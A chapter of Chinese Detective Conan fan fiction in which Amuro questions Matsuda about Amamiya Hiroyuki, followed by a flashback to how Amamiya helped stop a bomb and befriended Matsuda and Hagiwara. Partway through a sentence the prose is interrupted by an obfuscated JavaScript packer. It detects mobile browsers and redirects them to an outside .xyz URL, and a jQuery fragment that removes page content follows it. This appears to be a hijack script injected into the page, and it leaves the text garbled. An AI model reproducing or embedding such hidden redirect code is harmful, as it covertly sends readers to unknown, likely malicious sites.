还没等到他敲门,门就已经开了。
门里头的黑色卷毛摆着臭脸,好像早就料到他的来访。他往里一撇头,示意安室透进门。
安室透谨慎地绕着房间走了一圈,才在沙发上坐下。
“所以,你为什么会在这里?”在安室透确认没有窃听器后,松田阵平终于开口。
“你先告诉我,雨宫是什么情况。”
“哈……果然是为了他。”松田阵平露出一副了然的样子,叹了口气,“怎么,他现在已经倒霉到卷入你那边的事了吗?”
“确实有点关系。”安室透点头。
从松田阵平的语气判断,他和雨宫裕之的关系似乎还很熟络,不像是普通的朋友,更像是相识已久。
是什么时候的事?
警校时期,他可从没在松田阵平的口中听说过“雨宫裕之”这号人。
“你们是怎么认识的?”
松田阵平听到这个问题,不禁陷入了三年半前的回忆。
“三年半前,浅井别墅区公寓那起爆/炸案,你知道吗?”
“一个炸弹犯在电话亭被捕,而另一个炸弹犯则在逃跑路上险些撞上行人,结果自己却出了车祸。”
安室透点了点头。
“那次hagi差点没命,已经停止的炸弹突然又重新启动,但最后又不可思议地停了下来。”松田阵平回忆着过去,语气中还有些后怕。
“这和雨宫裕之有什么关系?”安室透蹙眉,却又立刻醒悟,“等等!不会是……”
“对,那个倒霉的行人就是雨宫裕之。”松田阵平哼笑了一声。
“他差点被撞上,看到出了车祸,立刻上前查看情况,结果就发现了遥控炸/弹的手机。”
“就这样,hagi阴差阳错地被他救了下来。”
安室透有些意外。
原来早在三年半前,雨宫裕之就与松田阵平和萩原研二相识。
竟然……那么早吗?
“之后他有和你们保持联系吗?”
“当然……”松田阵平看着安室透的眼睛,正想肯定地回答,却又突然想起一件事。
“不对。”
他皱起眉:“大概一个月前,他有整整十天的时间都没有回复我们的邮件。”
“我们猜测,那是因为房子被烧了对他打击太大了,需要时间平复心情。”
安室透心中快速梳理着时间线。
一个月前……那正是他得知“田纳西”要加入他的小组的时间。
“事实上,他的房子被烧是三周前的事。你后来再见到他时,有察觉到什么异常吗?”
三周前?
松田阵平想起来了,是再次遇见雨宫裕之的那天。
在那之后,邮件仍有几天没有收到回复。
但在他和hagi碰巧遇到雨宫裕之,并一起吃了午餐后,邮件往来就正常了。
那么,在房子被烧前的那段时间,雨宫裕之又为什么会突然失联?
松田阵平心中陡然升起不好的预感:“你这话是什么意思?”
他看见许久不见的同期神色严肃,缓缓开口:“雨宫裕之,他失忆了。”
“详细和我说说吧,他与你们的过去。”
19. 往事(上)
松田阵平和雨宫裕之的相识,始于一个奇迹。
一个上天愚弄了所有人后,大发慈悲般施舍的奇迹。
“计时器又开始跳了!”
松田阵平上一秒还在和萩原研二在电话中说笑,下一秒就听见幼驯染严肃的喊声。
他的心跳骤然加速。
紧接着,听筒里传来手机落地的重响,一种不祥的预感涌上了心头。
“喂!萩原!萩原!”他一遍又一遍地喊着幼驯染的名字,回应他的只有一片嘈杂。
他猛地抬头看向萩原研二所在的那层公寓,呼吸不由自主地颤抖。
短暂的数秒都仿佛被无限拉长,每一瞬都煎熬如年。
【3】
绝望漫上心头。
【2】
他现在还能做什么?
【1】
他什么也做不了。
【0】
嘭。松田阵平在心底默念爆/炸的巨响。
然而预想中的轰鸣却没有响起。在一片令人窒息的寂静中,听筒里忽然又传来一阵细碎的摩擦声。
有人捡起了手机。
“喂!萩原!”松田阵平反应过来,急切地大喊。
“马自达。”萩原研二的声音终于响起,让松田阵平紧绷的神经稍稍放松。
“现在是什么情况?”
电话那头,萩原研二的语气稍微有些迟疑:“炸弹……自己停下来了。”
停下来了?
这简直不可思议。
“别等了!快点拆了它!”松田阵平忍不住吼道。
他的心脏仍在狂跳,方才的惊恐仍未平息。
直到确认萩原研二成功拆除炸弹,并且完好无损地从公寓出来后,松田阵平悬着的心才真正落地。
这到底是怎么回事?
如果重新开始倒数是犯人的恶趣味,那又为何要再次停下?
两人面面相觑,心中拥怀着相同的疑问。
“松田队长!”一旁的队员挂断电话,急切地报告,“警视厅来电!刚刚收到报警电话,另一名炸弹犯已经找到了!”
“他出了车祸!”
车祸?
萩原研二和松田阵平对视一眼,默契地跑向同一辆警车。前者迅速坐上驾驶座,后者紧随其后钻进副驾驶。
他们谁都没等其他队员,警车如流星般呼啸驶去,冲向刚得知的事发地点。
开什么玩笑!再不快点,就揍不到那个该死的混蛋了!
达到现场后,两人迅速下车。
现场一片狼藉。
一辆变形的汽车撞在了电线杆上,车头处冒着滚滚黑烟。
一个中年男人倚靠着墙。看起来失去了意识,眼镜镜片开裂,衣服破烂,浑身是伤。
松田阵平几乎立刻反应过来,这个人就是那个炸弹犯。
“警官先生!我就是报警人!”一个声音从不远处传来。
两人循声望去,只见一个大学生模样的青年走上前来。
他身材精干,比两人都矮一些。灰头土脸的,唯有一双灰蓝的眼睛亮晶晶的。
大学生小心翼翼地捧着一部手机,递到松田阵平面前。
松田阵平接过手机,打开一看,屏幕上赫然是一串数字:
【00:00:01】
是遥控炸/弹的控制器。
松田阵平猛地瞪向萩原研二,却见对方正露出心有余悸的苦笑。他忍不住抬手捶了一下好友的手臂泄愤。
“混蛋!”
这个家伙可没跟他说倒计时只剩一秒!
只差一秒,只差这么一秒。
他的幼驯染,以及那么多并肩作战的队友,就会在那场爆炸中丧命。
松田阵平再一次把目光投向那个昏倒的男人,拳头不由自主地攥紧。
这个视人命为草芥的混蛋!到底把生命当做什么了?!
他把手机丢给幼驯染,气势汹汹地走向那个男人。
“小阵平!”萩原研二连忙接住手机,想要拉住松田阵平,却抓了个空。
就在松田阵平即将揪起那个男人领子的瞬间,一只指节分明的手抓住了他的手腕。
“喂!放开我!”松田阵平皱眉扯了一下手,却意外地没有扯动。
力气好大。他有些错愕。
“不行的吧,警官先生。”手的主人说。
顺着那只手向上看去,又看到那个报警的大学生。
他认真地说:“你这样做,肯定会被处分的。”
“啧。”松田阵平不满地晃了晃手,“放开我,我不会动手的。”
萩原研二也小跑过来,点点头。
对对,在民众面前动手还是不行的。
但大学生却弯了弯眉眼,凑近压低声音说:“我把他从车里拖出来的时候确认过了,他伤得不轻,下半辈子可不好过。”
“让他就这样痛苦下去更好,对吧?”
说完,大学生展露一个笑容,才放开了松田阵平的手。
“你……”松田阵平一时语塞。
这个大学生怎么看起来有点黑?哦对,他现在本来就浑身脏兮兮的。
他的目光又投向地上那个可恶的家伙。走近细看他才发现,炸弹犯身上青一块紫一块,完全不像是普通车祸能造成的伤痕。
不,这也不对吧?!
松田阵平震惊地转头,只见大学生脸上还是那副无辜可怜的模样。
“噗哈哈哈哈!”萩原研二忍不住笑了,用手拱了拱松田阵平,“不用你出手了,小阵平。”
他向大学生伸出手:“这位同学,你还真有趣。你叫什么名字?”
“我吗?”大学生握住萩原研二的手,笑着回答,“警官先生,我叫雨宫裕之。”
随后其他警察和救护车才姗姗来迟,抬走了那名车祸重伤的炸弹犯。
他们与雨宫裕之也一同被带回了警视厅,做了笔录。
“原来小雨宫获得过这么多比赛的奖项?”走出询问室,三人在大厅闲聊时,萩原研二不禁感叹。
他们得知这位东大四年级的学生不仅学业优秀,还曾经在多项体术比赛中斩获佳绩。
“原来如此。”松田阵平恍然大悟,“难怪你当时敢直接上来拦我,一点都不怕被误伤。”
毕竟当时他是真的差一点就要动手了。
“嘛。”雨宫裕之擦净了脸上的污渍,露出了一张年轻清俊的脸。鼻尖的小痣在白皙的皮肤上很是显眼。
他龇牙笑着,得意地比了个胜利的手势:“毕竟这方面我还是有点自信的。”
“所以你就趁机教训了一顿那个炸弹犯?”
“欸——我才没有,不要诽谤我啊!明明是他自己不小心受伤的。”
三人在笑声中交换了联系方式。
这就是他们与雨宫裕之的初见。
起初他们的联系并不算多,直到后来在警视厅多次偶遇,他们终于发现了雨宫裕之那令人哭笑不得的倒霉体质。
“小雨宫!”
“哟,雨宫。”
某
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460646|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日,萩原研二和松田阵平路过刑事部时,就瞥见雨宫裕之恰好从里面出来。
雨宫裕之脸上贴着纱布,见到两人后讪讪一笑,不好意思地挠了挠脸颊。
“啊……萩原先生,松田先生。”
“不是吧,这已经是这个月第四次在这里见到你了。”松田阵平有些无奈地叹了口气。
萩原研二一把揽住松田阵平的脖子,示意他住口,转而关切地问道:“这次又是因为什么?”
“取钱遇到抢劫犯了,但是我把他解决了!”
“那这伤是?”
“……”雨宫裕之的目光朝别处飘去,不敢与两人对视,“抢劫犯带了手/枪……”
萩原研二与松田阵平对视一眼,前者松开了手。
失去限制的松田阵平立刻伸手按在雨宫裕之的头顶,狠狠地揉了揉:
“你这家伙!能不能多爱惜自己一点!”
“呜哇!”明明可以躲开的人,却任凭松田阵平欺负,“井田先生!我知道啦!”
“井田哈哈哈哈哈哈哈哈哈!”
“是松田!松!田!”松田阵平两只手狠狠捏住他的两侧脸颊,往外扯着。
“是!松田先生!”这句话因嘴部变形而含糊不清。
哪怕得到了他这样的承诺,但两人还是有些不放心。
不但是因为雨宫裕之是救了萩原研二的恩人,而是因为这样的人应当拥有更美好的未来。
除此之外,还有更重要的原因:
他们是朋友。
随着时间流逝,他们日渐熟络。
萩原研二经常会把雨宫裕之约出来小聚,松田阵平也时常会加入他们。
虽然因为雨宫裕之的倒霉体质,偶尔会遇上一些奇怪的案件,但逐渐他们也习以为常。
在每一次案发的现场里,雨宫裕之总是会憧憬地看着警察们。
勘测现场,排除嫌疑人,报告尸检……他总是很认真的听着,目光随着他们移动。
松田阵平那时幡然醒悟,初见雨宫裕之时,看着自己的那双眼睛为何如此闪亮。
原来,是因为他是警察。
某次案件后,他们又找了个地方续摊。
松田阵平忍不住询问:“雨宫,你很喜欢警察吗?”
“当然!因为警察真的超——帅的啊!”
雨宫裕之挥舞着手中的烤肉,眼睛闪闪发亮:“田中先生难道不是因为这样才当警察的吗?”
“……”
在萩原研二的憋笑声中,松田阵平深吸了一口气。
“我说,‘田中先生’是谁啊?你这家伙差不多该记住我的名字了吧?”
“抱歉抱歉!”
听到对方的道歉,松田阵平已经要原谅对方了,却又听对方说:“是深田先生对吧?我又记错了不好意思!”
雨宫裕之双手合十,脸上写满了诚恳的歉意。
“哈哈哈哈哈哈!田中、深田哈哈哈哈哈哈!”萩原研二终于忍不住拍桌放声大笑,“小雨宫你是天才吗?”
松田阵平扶额,无奈地重重叹了口气。
“我是松田。松!田!阵!平!”
“再说我们比你大不了几岁,还是不用这么客气地叫什么先生了。”
每次被他叫作先生,松田阵平都莫名会起鸡皮疙瘩。
“是啊,小雨宫。”萩原研二也在旁边笑着附和,“我们是朋友,不是吗?不用那么严肃。”
雨宫裕之立刻会意,也笑着改口:“知道啦,松田哥!萩原哥!”